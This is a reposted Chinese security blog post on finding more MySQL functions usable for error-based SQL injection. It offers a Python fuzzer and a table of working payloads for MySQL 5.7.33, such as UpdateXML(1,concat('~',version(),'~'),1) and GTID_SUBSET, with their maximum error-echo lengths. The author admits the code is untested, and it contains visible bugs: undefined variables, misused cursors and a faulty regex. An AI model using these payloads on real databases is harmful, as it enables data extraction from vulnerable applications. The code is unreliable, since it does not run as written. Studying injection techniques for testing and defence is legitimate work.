如何找到更多的报错注入函数?

admin 2024年2月17日12:38:12评论9 views字数 1957阅读6分31秒阅读模式

第一步:准备

看MySQL官方文档

https://dev.mysql.com/

第二步:过程

根据版本不同看不同版本的MySQL文档,因为每个版本都有一些差异,将文档中的名称全部爬下来。

Name Description
ABS() Return the absolute value
ACOS() Return the arc cosine
ADDDATE() Add time values (intervals) to a date value
ADDTIME() Add time
............ ......

第三步:编码

编写代码,将参数排列组合拼接到查询。如果报错中存在我的self.version那就说明该函数存在报错注入。代码是我没有测试盲编的。如果有错误自行修改

import pymysql
import re
import traceback

class FuzzErrorFunc:

   def __init__(self,funcFile,ip,port,userName,password,database):

       conn = pymysql.connect(host=host,

            user=userName,

            port=port,

            password=password,

            database=database)

       self.cursor = conn.cursor()
       sqlStr = "select version()"
       cursor.execute(sqlStr)
       self.version = self.cursor.fetchall()
       combinationList = ["(concat('~',version(),'~'))","(concat('~',version(),'~'),1,1)","(1,concat('~',version(),'~'),1)","(1,1,concat('~',version(),'~'))","(concat('~',version(),'~'),1)","(1,concat('~',version(),'~'))"]
       self.funcList = []
       fp = open(funcFile, encoding='utf-8').read()
       data = re.findall(r'[A-Za-z_]+()',fp)
       for x in data:
           x = x.replace('()','')
           for z in combinationList:

               self.funcList.append("{}{}".format(x,z))

   def getErrorFunc(self):
       errorFuncList = []
       for func in self.funcList:
           try:
               sql = "select %s" % func
               cursor.execute(sql)
               result = cursor.fetchall()
           except Exception as e:
                if self.version in str(e):
                    errorFuncList.append(func)
       return errorFuncList


f=FuzzErrorFunc("func.txt","127.0.0.1",3306,"userName","password","database")
print(f.getErrorFunc())

第四步:结论

Mysql版本5.7.33,仅判断函数1-3个参数的情况,根据自己的真实情况进行修改。最大回显长度:

Function lengrh
GTID_SUBSET(concat('~',version(),'~'),1) 200
GTID_SUBTRACT(concat('~',version(),'~'),1) 200
ST_LatFromGeoHash(concat('~',version(),'~')) 128
ST_LongFromGeoHash(concat('~',version(),'~')) 128
ST_PointFromGeoHash(concat('~',version(),'~'),1) 128
UpdateXML(1,concat('~',version(),'~'),1) 32
ExtractValue(1,concat('~',version(),'~')) 32

原文始发于微信公众号(网络安保):如何找到更多的报错注入函数?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月17日12:38:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何找到更多的报错注入函数?http://cn-sec.com/archives/2218040.html

发表评论

匿名网友 填写信息